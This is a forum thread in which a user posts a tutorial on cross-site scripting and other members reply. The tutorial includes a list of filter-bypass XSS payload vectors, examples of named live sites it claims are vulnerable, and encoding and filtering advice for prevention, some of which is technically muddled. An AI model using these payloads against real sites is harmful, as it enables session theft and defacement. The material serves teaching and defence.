[Ultimatum]

XSS [Prevention and How]

XSS, also known as Cross-site scripting, is a technical insecurity found in computer servers, where client-side input can affect servers to run malicious code against the site itself or other vulnerable computer users who visit the site. XSS vulnerabilities have become a rising problem in security for site admins and the security of users all over the internet. This article will explain how cross-site scripting gets to sites and ways for web-masters to prevent them from being used against them. I will present examples after a little bit of explanation on XSS.

There are two different types of XSS. Persistent and Non-Persistent. Generally, security holes start with Non-Persistent; this means that the vector must be injected into the site for a result so to suggest a XSS security hole. Persistent XSS is where the hacker has access to modify the site, normally via a cPanel and when a specific page on the site is loaded, the hacker normally proves the site to be vulnerable by adding an alert code or defacing the site. It is obvious to say that Persistent XSS is much more dangerous, but it is still possible to avoid such vulnerability.

--

This is a safe example:

Spoiler:

This is an unsafe example:

Spoiler:

--

Explanation:

From both of the diagrams above, the safe example is "safe", because the server filters for special characters such as "<" "(" """". Therefore outputting simple strings that are safer for the server to execute. Whereas compared to the unsafe example. Whatever is entered into the field to be processed is gone straight through to the server. Think of it like a armed criminal going to the airport and going through without customs or metal detectors. The criminal could keep going scot-free. This concept is exactly the same for servers. Persistent XSS could be attempted, and if we look back at the criminal, he is scott-free, yes? So he might start killing, shooting or waving dangerous firearms around the airport. Now, compare it back to this hacker and the server. The Hacker can XSS Tunnel a Persistent XSS and capture cookies and keylog innocent victims who visit the site.

--

Here is a list of 'vectors' that can be used to bypass different filters:

Code:

"><script>alert("XSS")</script>
"><script>alert(String.fromCharCode(88,83,83))</script>
'><script>alert("XSS")</script>
'><script>alert(String.fromCharCode(88,83,83))</script>
<ScRIPt>aLeRT("XSS")</ScRIPt>
<ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt>
"><ScRIPt>aLeRT("XSS")</ScRIPt>
"><ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt>
'><ScRIPt>aLeRT("XSS")</ScRIPt>
'><ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt>
</script><script>alert("XSS")</script>
</script><script>alert(String.fromCharCode(88,83,83))</script>
"/><script>alert("XSS")</script>
"/><script>alert(String.fromCharCode(88,83,83))</script>
'/><script>alert("XSS")</script>
'/><script>alert(String.fromCharCode(88,83,83))</script>
</SCRIPT>"><SCRIPT>alert("XSS")</SCRIPT>
</SCRIPT>"><SCRIPT>alert(String.fromCharCode(88,83,83))
</SCRIPT>">"><SCRIPT>alert("XSS")</SCRIPT>
</SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
";alert("XSS");"
";alert(String.fromCharCode(88,83,83));"
';alert("XSS");'
';alert(String.fromCharCode(88,83,83));'
";alert("XSS")
";alert(String.fromCharCode(88,83,83))
';alert("XSS")
';alert(String.fromCharCode(88,83,83))

"><script>alert(/1/)</script><img src=sdfsdf onerror=alert(/Ultimatum/) />

<iframe src="javascript:alert('XSS');"></iframe>

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

--

Further Explanation and Identification:

One of the most used vector is

Code:

"><script>alert("XSS")</script>

This bit of code

Code:

">

tricks web servers to think that the code is finishing up a tag and therefore allows the following code

Code:

<script>alert("XSS")</script>

to be executed.

Here is an example of a vulnerable site to "><script>alert("XSS")</script> :

http://www.toyota.com.au/search?q=%22%3E...mit=Search

This uses the vector I just spoke of before and is obviously non-persistent. You can see that this has no encryption or filtering in-between the client-side and server-side.

Now you might be thinking. "What if the the tags <> are filtered?". Take a look at this site:

http://www.mitsubishi-motors.com.au/sear...2%29%3B%22

It uses the vector:

Code:

";alert("XSS By Ultimatum");"

It requires no tags <> and directly exploits the use of javascript by secretly asking the server to execute the code and slip it in.

If you take a look closely I tested a site for XSS vulnerabilities, the vectors were injected via a search bar. This is the general method of identifying XSS.

--

Prevention

After a brief explanation on how XSS reacts and works on a vulnerable site, now I will provide examples, why and how these work against XSS attacks.

As I stated before, the main prevention against XSS attacks is to add filters to filter out the dangerous/malicious code that a hacker may try to exploit with. There is one method called "Escaping XSS". Escaping is where the server-side tells the client-side web application not to execute any code that has been imputed. This method is not efficient but maybe necessary if the site is very badly prone to hackers and XSS vulnerabilities.

The main things that needs to be done against XSS:

• Encode the output based on input strings.
  
• Filter input codes for special characters.
  
• Filter output based on input strings for special characters.
  

--

Encode output depending on the use of Special Characters

URLencode and HTMLEncode can be used to secure the webpage, like the following:

Code:

<%
  var BaseURL = http://www.yoursite.com/search2.asp?searchagain=;
  Response.write("<a href=\"" + BaseUrl +
  Server.URLEncode(Request.QueryString("SearchString")) +
  "\">click-me</a>");
%>
<% Response.Write("Hello <I>" +
  Server.HTMLEncode(Request.Form("UserName")) +
  "</I>");
%>

This works by encoding the strings of input and prevents the XSS thus from being executed.

--

Stopping input containing Special Characters

Some input includes the following:

Code:

% ; ) ( & + - < > " '

And to prevent these a small snippet from JavaScript has been written:

Code:

function RemoveBad(strTemp) {
    strTemp = strTemp.replace(/\<|\>|\"|\'|\%|\;|\(|\)|\&|\+|\-/g,"");
    return strTemp;
}

This snippet is designed to replace any special characters that my be sent over to the server, which of course with this script. Special characters can be thwarted and thus XSS is prevented.

--

Those were just some ways to prevent XSS, but here are some things you should look out for:

• Cookies
  
• Posted Data
  
• Query Strings
  
• URLs and pieces of URLs, such as PATH_INFO
  
• Data retrieved from users that is persisted in some fashion such as in a database
  

--

In Conclusion

Overall, XSS is a vulnerability not to trifle with, and a simple alert popping up on the page could be the first signs of the removal of your website.

[๖ۣۣۜۜFear]

Thanks for this tutorial bro, it will sure be a help to newbies. I would recommend going over the definition of persistent and non persistent, as most don't know.

[Ultimatum]

Thanks! I like to keep my tuts simple and clean so that it's easier to read.

[The Protagonist]

Great tutorial Ultimatum

[Ultimatum]

Oh God, look how low this has gone too O.O

[Merkuri]

Great tutorial. here is cheet sheet for xss:
https://www.owasp.org/index.php/XSS_Filt...heat_Sheet

[Adorapuff]

Great tut Ult. Your the best

[Ultimatum]

So less people replying D: D: D:

[w00t]

In most cases, it's more convienent to have all the cleaning done at once. Meaning, before the search is ran through a database, the string should be SQL-safe and HTML safe. Your method works just as well, it is just more cumbersome to implement on a large site.

[Ultimatum]

In most cases, it's more convienent to have all the cleaning done at once. Meaning, before the search is ran through a database, the string should be SQL-safe and HTML safe. Your method works just as well, it is just more cumbersome to implement on a large site.

Yes, I agree. It's much more messy. I am assuming that you want the page to automatically take off any of the characters related to XSS without needing to load a page? If so, you could implement the XSS into a URL.